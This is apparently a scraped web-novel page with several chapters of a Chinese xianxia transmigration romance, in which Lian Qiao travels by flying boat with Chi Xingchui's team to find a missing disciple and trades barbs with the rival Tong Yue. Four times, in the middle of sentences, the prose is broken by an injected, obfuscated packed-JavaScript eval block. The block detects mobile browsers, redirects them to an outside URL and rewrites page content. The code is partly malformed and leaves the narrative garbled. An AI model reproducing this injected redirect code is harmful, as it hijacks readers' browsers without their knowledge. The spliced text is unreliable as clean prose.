这次去往的历练点是桐花岭,在男女主的爱情的转折点,但是对故事的描述很简略,甚至没有交代任务的完成结果和事情经过。 据说这次的历练很危险…… 连乔问迟星垂:“你要去吗?” “嗯。”迟星垂收起万机,“这次的事情很蹊跷,之前剑宗接任务的时候,只是说有山妖作祟,正常的山妖没有这么大杀伤力,也不至于直接让陈姑娘完全没有音讯。” 连乔想起陈灵玉的笑脸,以及第一次见她,她看到自己的窘境,将饭牌送给自己时的笑脸。 连乔看着迟星垂将陈灵玉失踪的前后因果和细节挑出来,她也伸过头快速扫一遍。 “你什么时候去?” “今天晚上。” 连乔一听,扶着三面狐爬起来,“这么急吗?” “嗯,她已经失联三天了,越往下拖,她会越危险。”迟星垂道,“现在时间很重要。” 这一去动辄几个月,如果事情办得不顺利,一年半载也有可能。 不行,不能让迟星垂一个人去。 连乔还没出声,南道先开口,“迟大公子,我们家连乔也想去。” 连乔点头,“对,我也想去。” “可是阿乔,你的神识受损还没好。”南道又道,“这样吧,你先休息好,等下次再有类似的历练或事件,我们再找人想办法把你塞进去。” 南道拍拍她,“现在你好好休息,等神识养好些,再去上课。” 连乔:“不要。” “你这孩子,怎么就是不听话呢!” 南道又要老妈子念叨,连乔捂着耳朵,“三面狐。” 三面狐做俯冲状,南道端起碗往侧边一让,“我先把东西收拾下,你们先聊。” 屋里只剩下迟星垂,他修长的手指有一搭没一搭地扣在万机上,“你确定要一起去?” 连乔叹了一口气,“可是我没有被邀请。” 说完又“咳咳”两声,“而且现在身体也不是很好,也没有人愿意跟我组队……” 迟星垂静静看着她一脸正经地装委屈,别说,装得真像。 “师兄~”在有求于人的时候,连乔很会服软,她眨着一双水灵灵的大眼,乖巧又期待地望着他,“迟师兄,你有没有什么办法呀?” 迟星垂:“……” 43.第 43 章 连乔看迟星垂没动静没表情,继续输出,“师兄,师兄,你这么厉害,应该有办法的,对吧?” “咳咳……” 迟星垂一口水呛出来,他掩手虚咳,不自在地转移目光,心中生出一丝怪异的感觉。 他习惯性想拒绝,但在看到连乔可怜兮兮又泪光盈盈的双眼后,话到嘴边就成了,“你想去?” 一听有戏,连乔立刻目光炯炯,“师兄,我是真的想去,我现在已经很强了,你放心,我不会拖你后腿。” 真是一秒变脸,迟星垂道,“我试试看。” 正在收拾行李的童元宝接到迟星垂发来的消息,他停下手,又转了转眼珠。 哦哟,稀客啊! 他笑嘻嘻地回道,“师兄,有何指示?” “东西收拾了吗?” 童元宝立刻拍拍胸脯,“那可不得,这次事情这么严重,师兄你亲自带队去找灵玉,一接到你消息,我立刻就组了一个六人的队伍。” 他将眼前的景象投影到万机对面,“你看,我们的补给和行李我都打包好了,马上就能出发,你那边什么时候走?” “快了。”迟星垂又问,“这次你组队,找了有哪些人?” “除了我们俩,还有凌阿和吴兴,也叫上成英轩了,她这次跟我们一起,不跟杨无溟他们。” 童元宝一拍脑袋,“除了我们五个,我还叫上了盛危须,他最擅医伤,我们六个,有攻有守,刚好。” 迟星垂道:“再加上连乔。” 童元宝一愣,“啊?” “连乔也去?”他一拍大腿,“这多好,吴兴最喜欢连乔了,要是知道这次历练她也去,不知道会多高兴。” 童元宝赶紧将东西收好放入芥子中。他的芥子是一串手珠,一颗珠子有一个独立的空间,各自的作用也不同,里面的东西都被整理得整整齐齐。 “吴兴在外面办事还没回来,我还等着他回来直接跟他说这个消息呢。这次事情这么急,突然通知灵玉失踪了,她都失踪十天了,怎么现在才有人发现?” “是陈姑娘那边断了和剑宗的回信。” 为保证弟子的人身安全,外出历练的弟子需要保持与剑宗的联系,至少要一天回一次讯息,如果问题不大且对方没有威胁的情况下,可以两至三天回一次。 如果长时间未有回应,乾元剑宗会主动问询,并将弟子牌周围的情况实时传送过来。 陈灵玉的弟子牌三天没有回应,是从对方那端被切断的。 不知道是陈灵玉主观为之,还是遭受了什么棘手的意外。 迟星垂道,“前段时间也有过这种情况,不过基本都在两天,最长的是三天,她自己也说那边问题不大,但是不大的问题,不至于让她几个月都解决不成。” “所以这次桐花岭的事,有别的隐情在?”童元宝道,“难道是陈灵玉不想知道剑宗知道她那边的情况,所以主动切断了联系吗?” “也未必。”迟星垂道,“也可能是正常的情况,对方很强大,她的弟子损毁。” “要是这种情况,那岂不是完了。我现在去找吴兴,我们早点出发。”童元宝一拍大腿,“吴兴还不知道这件事呢,他还在外面办事,我去找他。” 童元宝歪嘴一笑,“这次连乔也在,可便宜吴兴那小子,他正愁没机会和连乔有接触,这下可好,去了桐花岭,单处的机会都有了。” 迟星垂沉默了一下,“元宝。” “怎么了师兄。” “师父闭关之前说他最近可能会偶尔出来,门内要有个人值守。” 童元宝满腹狐疑,“真的吗,师父没有跟我说过啊。” “是的。”迟星垂道,“当时事态紧急,师父只同我一个人说了这件事。” 虞南子和迟星垂一样,素日独来独往,神龙见首不见尾的,童元宝没有怀疑,但还是想给邵吴兴争取一点机会,“非得是人吗?咱们家有大黑在。” 大黑是一条通体漆黑的高原狼,高级灵兽,经常蹲在山脚下,给云中峰看门。 童元宝伸头一看,一脸茫然,“欸?大黑呢,以前他最喜欢待在山脚了,现在怎么不见了。” “可能大黑也有点事。”迟星垂说谎不眨眼,“就让吴兴留在剑宗吧,师父有什么事,他也好回应。” 童元宝:“可是……欸,师兄……” 外面传来窸窸窣窣的声音,邵吴兴回来了。 童元宝有些心虚,这可怎么办呐,吴兴你小子时运不济。 从云来成到桐花岭有千里之隔,即使全力赶路也要三天。 连乔不打算御剑飞行过去,她身体还有伤,不仅需要补眠,还要养神,长时间使用障目术极其费神,不适合她这个病人。 她正要吩咐南道准备一架白玉舟,那端南道就推开门,“连乔,外面停了一架银辉飞舟,是你叫的吗?” 连乔:“你下次敲门可以么?” “好。”南道道,“外面停了一架飞舟,你一直在房间里没出去,那应该就是迟大公子的。” 南道帮连乔收拾好了行李,递给她,老妈子一样嘱咐,“这次出行我是想跟着你去的,但是毕竟是乾元剑宗的历练,你本来在学院就受排挤,这次我要是跟着你,又要有人在背后说一些难听的话,到时候你又会难受了。” 他跟着连翘这么多年,几乎很少放心她一个人外出,即使有,也是短时间。 毕竟这癫婆情绪不稳定脾气大于天,稍不注意就跟别人干架,他得时时刻刻跟着收拾烂摊子。 现在她成熟了,情绪稳定了,也不需要他前后跟着操心费心费神。 南道很开心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245262|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却又怅然若失。 “这次你的队伍很强,你只要跟着,不需要出头,一是他们的能力都远在你之上,不需要你出头,第二是你的修为远在他们之下,你出头也干不成什么,知道吗?” 连乔:“……好有用的废话。” 南道瞪眼,“你懂什么,这是大智若愚。” 他叹了一口气,本想再说,但是看连乔心不在焉,要说的话又吞了一下,“走吧,我送你出去。” 连乔起身,长时间的睡眠让她头晕脑胀,站起来摇摇晃晃,扶着三面狐才出了门。 “对了南道,近期可能会有人来打听我去哪了。” “谁会来打听?”南道狐疑望了她一眼。 “谁都有可能。”连乔走得稳了,才放开三面狐,将南道给她准备的东西都清点一遍,再按照自己的习惯放在芥子镯中。 “但是不管是谁,都不要告诉他我去的真实地方。” “不管是谁?” “对,不管是谁。”连乔又补充一句,“即使是我曾经最信任最亲近的人,也不可以。” “默非呢?默非也不行吗?” 连乔扶额,“我走之前默非不是知道这件事吗?还要你再跟他说一遍?” “南道……”连乔闭上了眼,天空飘起了雪粒子,顿觉冬风萧瑟寒凉刺骨。 “怎么了?” “南道你有时间去外面别的地方转转,不行就在借酒楼下面那几层楼多转转。” “你不要老是和三面狐玩……”连乔睁开眼,伸手拍拍落在他肩上的雪,“实在是……太影响智力了。” 连乔离开,朝他摆了摆手,意思让他不用再送了。 “你不知道去哪玩就问敖周,他最清楚了,你随便玩随便逛,就记在我账上。” 外面的雪下得越来越大了,不一会儿,借酒楼银装素裹,山面铺上一层厚厚的白毯子,借酒楼盘旋在山上,和山体融为一体。 南道望着连乔的背影,看着她越走越远,雪地里留下一串长长的脚印。 一人一狐蹲在雪地里,望着连乔上了银辉飞舟,一直到银辉飞舟消失,空中只剩下一个小小的光点。 三面狐吐出舌头,像是无声在问:“走不走啊,我送你去玩啊。” 南道吐了一口气,笑笑地摸了摸三面狐的头,“不去,我对那些没有兴趣。” 南道走回房间,望着云来城的雪景。热闹的城里依旧热闹,落雪翻飞,又为这热闹添了几分萧索——更显得空旷了。 云来城和子午谷的节气大致相同,子午谷现在也应该落雪皑皑了吧。 连翘总是希望他出去多走走,不要将所有的心思都扑在自己身上。 但她从来都未想过,他的使命便是一心扑在她身上。 大概,她也发现不了吧。 44.第 44 章 银辉飞舟在空中极速飞行,连乔站在飞舟内部,飞舟里有平衡器,无论如何加速加速,又或者是上下翻滚,她都没感受到一点波动。 实在是……太惊艳了。 飞舟比御剑飞行要快,童元宝他们比自己先出发,但出发不久就碰到了他们,为了行程更快,几人也一并进入银辉飞舟一同前行。 一进来,童元宝捂着嘴,“连乔你总是能惊艳我,这可是银辉飞舟,整个修真界就两艘。” “两艘?”连乔不清楚,“什么只有两艘?” “银辉飞舟。”成英轩开口解释,“是修真界的战神之舟,是一等法器,可防可守,一旦开启外部防守,即使是大乘期前辈全力一击,也不能撼动它分毫。” 成英轩擅长作战,对法器和兵器研究最多,“与银辉飞舟对应的便是日耀飞舟,相比较银辉,日耀还要更敏捷一些,也因此需要压缩飞舟内部的空间,相比之下,日耀飞舟的体型只有银辉的一半。” 连乔没听说过银辉,但是知道日耀。原书中日耀也是有两个,一个在百年前妖族进攻中破碎,另一个被大妖王偶然得到,最后在和修真界的大战中发挥了毁灭性的作用。 “这玉舟这么厉害?”连乔问,“这是其中一艘,不知道另一艘在哪?” 能抵抗大乘期修士全力一击,这得多强悍?不如她也买一架,以后如果扳不回原剧情,她要是真出事,也能靠着这攻防一体的法器苟一苟。 成英轩不无可惜,“现在应该没有了。” “修真界的银辉飞舟和日耀飞舟各两艘,都出自钟氏,在当年妖族大荒原惨案发生时,损毁了一艘银辉飞舟和一艘日耀飞舟。还有一艘日耀飞被妖族劫走,之后也没了踪影。” 那艘日耀飞舟在大妖王那里,并且会在小说中后期赠给云招摇。 “四艘玉舟都出自钟家。”成英轩说完远远地望了一眼迟星垂,“现在钟家炼器的长老都已经不在了,这样精美且严丝密缝的法器,很难再重现了。” 银辉飞舟里面一共是四个隔间,空间很大,可以容纳百十个人,这次他们是六个人,连乔和成英轩两个姑娘各住一间,其他四个人两两一间。 连乔神识有损,要保持充足睡眠,迟星垂将里面最大最安静的一间留给她。 其实飞舟内部隔音十分好,只要舟体不被击破,外面发生再大的动静,里面也不受影响。 连乔看自己的房间里面所有的东西一应俱全,直接躺倒在床上,不知不觉又开始犯困。 她半眯着眼,“多谢迟老板的款待。” “哗啦”一声,幔帐被风吹飞,外面的水汽和寒气一并卷进来,不过没有云来城那么冷,越往桐花岭走,气候越暖和。 连乔打了个哈欠,还没起身,迟星垂替她关上了窗。 又是夜晚,天幕低垂,远处不知名的小城亮着星星点点的光。 正好经过一片海域,风声呼啸,大浪涌起,飞舟的银光惨淡,将底下的深海照得一览无余。 这和连乔心海中的噩梦场景很像,不适合她这个病人看。 迟星垂退出房门,“好梦。” 没有回应,连乔已经睡着了,她入睡得很快,睡得也很香甜,甚至发出轻微的鼾声。 站在门外的人:“……” 连乔一连睡了两天,迟星垂给她的房间靠里,很安静,没有一点杂音,大家也知道她受伤,所以任她好好睡觉休养生息,期间没有任何人打扰。 等她睡醒,又是天黑,她揉了揉发懵的脑袋,好像睡了很久,有好几天,怎么还没到桐花岭吗? 人睡得全身乏力,连乔起身去外面透气。 飞舟行驶在高空中,外面是星辰大海。 船头还有一个人,白衣胜雪,盘坐在甲板上,望着一望无际的平原。 “这么晚了,你还没休息吗?”连乔揉了揉眼睛,自然而然地搭话。 迟星垂“嗯”了一声。 “我睡了几天了?我们什么时候能到?”连乔看迟星垂兴致不高的样子,盘腿坐在他身边,“你喝酒了?” 酒很香,外面的风呼呼作响,将酒香也送到她身边。 她探出头,看到迟星垂的表情,又默默收回视线。 迟星垂很少有这个样子。 他平日里也冷漠,对外人爱搭不理,但是气压不会像现在这么低。 连乔对情绪的感知很敏感,即使迟星垂没表现出来,她也知道,他不开心。 无意间扫到飞舟下的大片荒原,又看到这飞舟散出来的熠熠光亮,恍然间,她好像明白了什么。 迟星垂的母亲在大荒原遭受伏击,之后修真界一大批人全军覆没,钟家也遭受重创。 迟星垂那时还小,或许什么都不清楚,但是再长大一些,父亲的疏离,继母和弟弟的针对,让他心中对亲情和温和有着扭曲的认知。 这也导致云招摇对他微微示好,便能让这个后期失控的怪物情绪平静。 对了,云招摇什么时候开始对迟星垂示好来着? 从原书一开始就有了。 连乔不太会处理感情上的事,也不知道如何去安慰对方。她想了想,如果是原主连翘,遇到朋友伤心,要怎么安慰呢。 原主……应该不安慰吧。 还可能因为对方脸臭惹她不高兴,然后将对方骂一顿,甚至情绪不稳定的时候,发大小姐脾气“啪啪”给对方两个耳光。 连乔立刻摇了摇头。 不,不能这么干。 怎么说迟星垂也是她现在的队友,还给她安排了这么好的地方供她修养恢复,怎么能因为怕OOC,在对方这么脆弱的时候雪上加霜呢。 但是,到底要怎么安慰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268246|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢? 迟星垂看到连乔一脸沉重的样子,随后忽然抄起酒壶灌了满满两碗酒,一碗给他,一碗自己端上,“嘭”一声碰了满杯。 “迟师兄,一切都会过去的,喝醉了什么烦心事都没了。” “来。” 迟星垂:“?” “等等。”他拦住连乔要喝酒的手,“病人不可饮酒。” 连乔将手中的酒碗放下,那怎么办?迟星垂这么不高兴,又不能一醉方休,要怎么样让他心情好受些? 要不给他讲个笑话? 连乔搜索枯肠,“我现在有个好消息和一个坏消息要告诉你。” 迟星垂“嗯”了一声,“先告诉我坏消息吧。” 连乔高深莫测一笑,“坏消息就是:我今天没有给你的好消息。” 迟星垂觉得风一冷,“……好消息呢?” “好消息就是……”连乔摸着下巴又一笑,“好消息就是,今天没有坏消息,哈哈哈,哈哈哈,哈哈哈哈哈哈哈哈……好不好笑?” “哈哈……”看到迟星垂好像被冻到了的样子,连乔的笑声也慢慢停下来,“不好笑吗?” 迟星垂揉了揉眉头,无语凝噎,“连乔……夜里风大,要不你先回去睡觉吧?” 连乔摊手,我说的吧,我是不太会安慰人。 迟星垂喝了不少酒,他酒量应该不怎么好,脸越喝越白。 这些天没有吃药,重心蛊的作用开始慢慢恢复,连乔感受到了一股无力的苍白感。 那不是她的,那是迟星垂的情绪。 “迟星垂。”连乔望着头顶的星星,“在我家乡……在那遥远的妖族,有这样一个说法。” “每个人都由尘埃组成,我们终将会死去,但尘埃永远不会湮没……” “所以有一天,我们会在星海下重逢。” “逝去的人,枉死的生灵会看到你经过,也是一种重逢。” “终会有一天,你能找到真相,也会查出他们的死因……” “你尽力了,就不要那么难受,那不是你的错,也没有人希望看到你这么不快乐。” 连乔的声音越说越小,她可能有些多话了。 气氛安静下来,连乔也不出声,静静坐在船头,陪他望着透亮银河。 长风将连乔的长发吹得飞舞,迟星垂闻到她身上萦绕的浅淡的药香。 良久,他开口,“多谢。” 没有人回应。 再一看,连乔坐着睡着了。她神识修补的速度很快,身体透支得厉害,随时可能会昏睡过去。 在她打盹差一些往后仰的时候,一道剑光立在她身后,托住她摇摇欲坠的身体。 迟星垂望着天空的星星,银河如练,星汉灿烂。 他很喜欢那句话。 我们终将会在星海下重逢。 45.原来你是真缺德 连乔睡得迷迷糊糊,摸到了一个暖暖软软的东西,她翻了个身,将腿架在上面,又伸了个懒腰。 等等,这手感不对。 等她再睁眼,正对上一双上挑的漂亮桃花眼。 连乔:“我天!” 她一脚蹬过去,敖周没来得及躲,被她踹到地上。 “喂,你能不能有个美女的样子?!”敖周揉了揉屁股,“你怎么可以这么粗暴!” “那你现在见到了。” 连乔狐疑地看了周围一圈,看了看敖周,又偷偷撩起被子看看自己。 敖周气急败坏,“喂,你不要侮辱人好不好,我虽然风流倜傥,但是我也是有原则的。” 连乔:“这两个词之间有什么关系吗?” “我的意思是!”敖周十分生气连乔看他时的有色目光,“虽然你长得很漂亮,我也很喜欢你,但是我是一个好人,在你毫无反抗之力的情况下,我是不会对你做什么的!” “不是啊。”连乔爬起来,“我只是在想我怎么会在这里,你在想什么?” 敖周:“我以为你防着我来着。” 连乔不清楚发生了什么,她明明和迟星垂一起喝酒来着。 当时她在外面坐了一会儿,困意袭来,也不知什么时候睡着的。 敖周鬼鬼祟祟地使眼色,“你想知道怎么回来的吗?你许一个愿望,我就告诉你。” “我不许。”连乔道,“我也不想知道。” 敖周一噎,“你不好奇吗?” 他看连乔真的不好奇,赶忙凑过去,“欸,你这人怎么这样啊,一点意思也没有。” “我是和迟星垂一起喝酒的。”连乔回道,“当然是他送我回来的。” 或抱回来或扛回来,都有可能。 “不是哦。”敖周道,“原本那小哥是想送你回来,但是好像觉得不合适,叫来了你隔壁那个姑娘,那个姑娘抱你回来的。” 连乔:“……”克己复礼,这很迟星垂。 敖周又道:“你隔壁那姑娘看着文静,力气好大,随随便便就把你抱起来了,都不带喘的。” 连乔:“难道你不行?” 敖周跃跃欲试,“那我试试。” 连乔:“滚。” 敖周“嗐”一声,坐在椅子上,“老板,别这么大脾气嘛!” 连乔坐在床上,“你为什么跟过来?” “我听南道说你要去桐花岭,我正好也要去桐花岭,正好你这里有飞舟,我跟着你们,不用自己飞啊。”他斜眼一笑,“飞起来多累啊,有便车为什么不搭便车呢?” 连乔:“……你去桐花岭?” “桐花岭这次的事很蹊跷,有很大的问题,我在瓶颈期很久了,想去那里碰碰运气,看有没有机缘。” 连乔:“那你又是怎么上来的?” 敖周十分骄傲,“之前南道不是给你打包了很多东西么,我就趁着他不注意,偷偷溜到了你的芥子中。你的芥子能装活物,空间又大,我在里面也不逼仄。” 连乔:“你不是说你很有道德底线吗?你不问问我就跑进我的空间里,这算哪门子底线?” 敖周十分委屈,“连老板,我也是为了你的安危。” “你要知道,这次桐花岭的事很蹊跷,你这么冒险跑过来,万一出事了怎么办。”敖周道,“你带我,遇到危险了我挡你前面。” 连乔:“算一次愿望吗?” 敖周:“算。” “不带你了,下去。” “哎老板,你真是一毛不拔啊!”敖周懒得慌,他也确实不想自己飞过去,只能妥协,“行吧,这次是友情价啊,遇到危险只给你免费挡一次,下一次就要收费了啊。” 连乔:“行,那你回芥子里吧。” 敖周瞳孔骤缩,“老板,你这房间这么大,十个人住也不是问题,你叫我去又小又窄的芥子里?” “那不然你下去?” 飞舟一共四个房间,每个都住满了人,她当然不可能跟敖周住一个房间,当然,成英轩也不可以。 剩下的那两个房间都是男生住的,迟星垂一直喜欢独处,这次两个人住他已经很不舒服,大部分时间都不回房间,一直在飞舟外面待着。另外那俩,她都不熟,怎么开口? 敖周看着连乔不为所动,“……算了,反正你的空间也不小,记得有吃的喝的随时喂给我,这可是到时候救你的定金。” 连乔懒得理他。 这时飞舟猛地一晃,只有一下,很快平稳下来。 外面传来一阵喧闹,有女子爽朗的大笑,“哈哈哈,不是说银辉飞舟最是平稳么,我看也不过如此。” “喂,同月姐,这是你不对了,银辉飞舟稳是说从外面往里面撞,平衡器有作用,没说你上船后在里面一阵攻击啊!” “那不正是说明这飞舟有很大的漏洞么,只能防着从外往里进攻,要是里面有人作祟,那岂不是必死无疑。” 连乔听着声音熟悉,敖周面色大变,“是那死妖女!看我这次不把她解决给我当灵兽!” 敖周气鼓鼓要冲出去,连乔把门扣住,“你要是闹事现在就下去。” “是那妖女哎,老板,那妖女想永远困住我的自由,我还不能反抗了?!” “不是这样说。”连乔耐心劝导,“你现在去找她做什么呢?” “当然是报仇。” “你觉得一定能成功吗?” “我英勇无畏能力无敌,区区一个岐山黄毛丫头怕什么?她要是不靠岐山那些法器,能困 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13278273|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住我吗?” “是啊,她有许多岐山法器,但是你有很多条命吗?”连乔道,“你可以报仇,和她打无数次,你赢一次是你赚到的,但是你若是输一次,那么久失去自由了。” 话是这么说的,但是实在是咽不下这口气啊! 敖周捶胸顿足,活了这么多年,差一点折在一个黄毛丫头身上,实在是有辱他名声! “不过你可以这样。”连乔对他招一招手,示意他过来,随后又在他耳边说了几句话。 敖周一愣,“还可以这样?” 连乔点了点头,“君子报仇十年不晚,有我这军师在,你就偷着乐吧。” 敖周鼓起了掌,望向连乔的目光不由地肃然起敬,“他们都说你缺德,原来你是真缺德啊。” “你好坏哦,我好喜欢。” 连乔:“?” “要是再这样说,我可就不答应帮你了。” “我不说了。” 她让敖周回芥子里躺着,这次敖周乖乖配合了,进去时还不忘顺走连乔桌上的灵果佳酿。 连乔出去时外面吵得正热烈,同月在飞舟上试了几次,每一次都带来巨大的震动。 迟星垂脸色已有不虞,“同姑娘,再这样下去,我要请你离开了。” 同月歪嘴一笑,远远地睨了一眼成英轩,“星垂师兄,我只是叫一个老朋友出来,你别激动嘛~” 连乔跟着成英轩出来,这时船体又震了一下,连乔往前猛地一倾。 连乔扶正了,望着站在甲板上的人,“发生什么了?” 成英轩走在她前面,“来了个不受欢迎的人。” “成英轩,呦,真在这儿啊。”同月一伸头,看到成英轩,抱着胳膊“哈哈”一笑,“我还以为他们是骗我的呢。” 成英轩语气波澜不惊,“你不是正是知道我在这里,所以也过来了么?” “呵呵……”同月冷笑一声,“好歹是曾经的同窗和战友么,打听你,想跟你一起出行不正常?” “你若是想发癫,自己找个地方发去,没人想跟你在这里耗时间!” “谁跟你耗时间啦?”同月抱着胳膊,朱红丹寇轻轻敲击,给人强烈的压迫感,“我是听说灵玉那丫头失踪了,所以过来看看,谁知道会碰上你呢。” 她忽然捂住了嘴,“阿轩,桐花岭邪祟不少,到时候战场上要是不小心伤到你了,你也别怪我啊。” “无聊。”成英轩冷冷暼她一眼,不再理她。 连乔出来,还不清楚发生了什么。她压低了声音问童元宝,“这又怎么了?” 谁又惹这姐们不高兴了,在这里发癫? “阿翘你不在剑宗不清楚,同月师姐和阿轩之间有矛盾。” “什么矛盾?” 46.这位红衣大姐 “前几天,游一张老大乘期渡劫,濒临渡劫,有缘去一趟三千世界,从三千世界带回来一片不知名剑仙的剑灵碎片。” 渡劫飞升成功,便可在三千世界任意穿梭。” “游一长老没有渡劫成功,但也得有一份机缘,观摩三千世界,且以形体在三千界停留一段时间。 三千世界? “时空变换,宇宙无穷,我们九州大陆不过是三千世界之中的一个。”童元宝道。 那我本来的世界,也是三千世界中的其中一个吗? 如果我渡劫成功飞升成仙,是不是也会有可能自由穿梭各个世界,回到我原有的生活中? 童元宝继续道,“游一长老在三千境中回来,从某个大世界带回一块灵剑碎片,那块碎皮是极品,是九州大陆很少见到的法器。” “刚好又到乾元剑宗一年一度的弟子比试,游一长老就将这块灵剑碎片当作彩头,谁在弟子比试中夺魁,这枚碎片就是谁的。” 连乔问:“同月想要这块碎片?” “对,那块碎片巧夺天工,很可能是某个大能的遗物,如果遇到厉害的器修,依据这碎片的材质,再仿刻出类似的灵剑也有可能。”童元宝道,“同月一眼就看中了那块碎片,并且扬言她必定要拿下头魁。” “她们俩挺近了最后的决赛,同台对垒,同月状态不好,稍逊一筹,最后大奖被成英轩拿走。”童元宝用手比了“一点点”的手势,“然后同月就记恨上了成英轩。” “就因为这?”连乔难以置信,“胜负乃兵家常事,况且这次成英轩也是凭本事拿的第一,她自己技不如人,不好好复盘找出缺陷,怪别人拿了东西?” “这你就不明白了。”童元宝无奈摇摇头,“同月师姐就这脾气,要么赢要么死,她接受不了自己输的。” 凌阿早就不动声色站在成英轩前面,“她赢不了就自己死,让别人死算什么傲气,这是毛病。” 连乔摸了摸手里的芥子。 同月因为成英轩抢到了自己想要的灵剑碎片——甚至都不能称得上是抢,是正常的获得,就要被她拦在路上这样刺激。 要是让她知道自己从她手上把敖周抢走…… 童元宝转过头,“连乔你怎么了,你怎么在抖?” 他往四周看了看,“啊,现在船很稳啊!” 连乔:“我有点紧张。” “你不用紧张。”童元宝安慰道,“虽然同月师姐脾气大,但是也不是看见谁都会闹一下,你又没招惹过她,不用害怕。” 连乔点头,“好。” 凌阿对成英轩道,“这里风大,我先送你回房。” 同月在后面喊,“喂,别走啊,咱们同窗多年,你招呼不打一声就走了,你怎么这么没礼貌,人长得丑,心也黑啊?” “同姑娘,这里不欢迎你,请你离开。”迟星垂站起来,挡住还要往里走的同月。 成英轩本就是话不多的性格,挨了骂也不会反骂回去,她蹙了蹙眉,最终也是没说什么。 “哈哈……”同月得了便宜,这才觉得尽兴,她拍了拍手,斜眼望向迟星垂,“迟师兄,今天是给你面子哦。” 她甩开袖子,转身要御剑离开,连乔开口问,“你这就走了?” “师姐。”连乔休息被吵闹一通,心里本来就烦躁,看她这么没礼貌,心情更不好。 她喊住同月,“这位师姐……” 同月上上下下打量她一番,“你不是乾元剑宗的弟子,你有什么资格叫我师姐?” 连乔只好妥协,“这位大姐……” 同月:“?” “这位红衣大姐,你忽然跑到人家家里,一顿乱窜乱打,打得里面七零八落,就这么走了,你还说别人没礼貌,你要不要看看自己礼貌不礼貌?” 童元宝吓得汗毛都竖起来了,他偷偷斜眼瞥连乔。 你刚刚不是说你很害怕吗?怎么现在不仅不害怕,还这么雄起?! 他伸手戳一戳连乔,连乔侧身偏过他划拉的手,走到同月面前,“大姐,我们这可是银辉飞舟,这很值钱的,你看看这里……你再看看这里,这里这里还有这里,你都把这些东西磕破损了,你就打算这么走了?” 同月脸色奇黑无比,“你这又不是银舟破损,你桌子椅子破损也怪我?” “桌子破损不叫破损吗?不怪你难道怪我吗?”连乔双手一插腰,刁蛮无比的妖女形象跃然纸上,“你就说破没破吧?” “是桌椅自己脆,怪谁?!” 连乔十分惊恐,“不会吧红衣大姐,你这样推脱责任,你不会不想赔吧!” 她伸出四根手指贴在嘴唇上,“不会吧不会吧,你看着穿金戴银的,你不会是个喜欢死装的穷光蛋吧!” “谁没钱赔?”同月从鼻子里哼出一声,“你这些破东西能值几个钱?!” 连乔伸手一张,“要五百万灵石。” “你有病啊,我磕你几个桌角你就要五百万,我把你磕碎了你也不值这个价!” 连乔“啧”一声,上下打量她一眼,“又说有钱赔,让赔钱又嫌贵,又说自己能干,啥又干不了,你这……” 这欲言又止,这阴阳怪气,别说同月了,换谁谁都能被激怒。 “噗……”童元宝没忍住,他又怕同月看到了打他,赶紧捂着嘴不让自己出声。 同月愣了,她哪里听过别人这样当面阴阳怪气,一怒之下伸手就是一记银鞭。 “啊!” 她出手又快又狠,连乔来不及躲闪,心想完了,这一鞭子劈下来,自己不得东一半西一半? 想象中的疼痛没有落下来,一道白影挡在她身前,一手扶住她将她护在身后,另一只手扯住长鞭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289547|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “同姑娘,请你离开。” 迟星垂微一用力,那条银鞭猛地一震,四分五裂,散落在地上。 同月脸色骤变,“迟星垂!” “今日我毁了你的银鞭,回剑宗后我会赔给你。连乔姑娘是我的客人,我不会让她在这里吃亏。” 同月从鼻子里哼出一声。 算了,今天他们人多势众,等阿溟和迟来风在,再找他们算账也不迟! 她指着连乔的鼻子,“我记住你了。” 连乔倒吸一口凉气,作势又要往后一仰。 迟星垂默默扶住她。 等同月离开,连乔捂脸无语,“完了,同月记恨上我了,我会不会很快倒霉啊?” 迟星垂:“……你刚刚那嚣张的模样,为什么现在这么怂?” 连乔松开手,“我哪里怂了?” 再看她,态度嚣张,目光轻蔑,根本不像是受到惊吓的模样。 迟星垂:“你装的?” 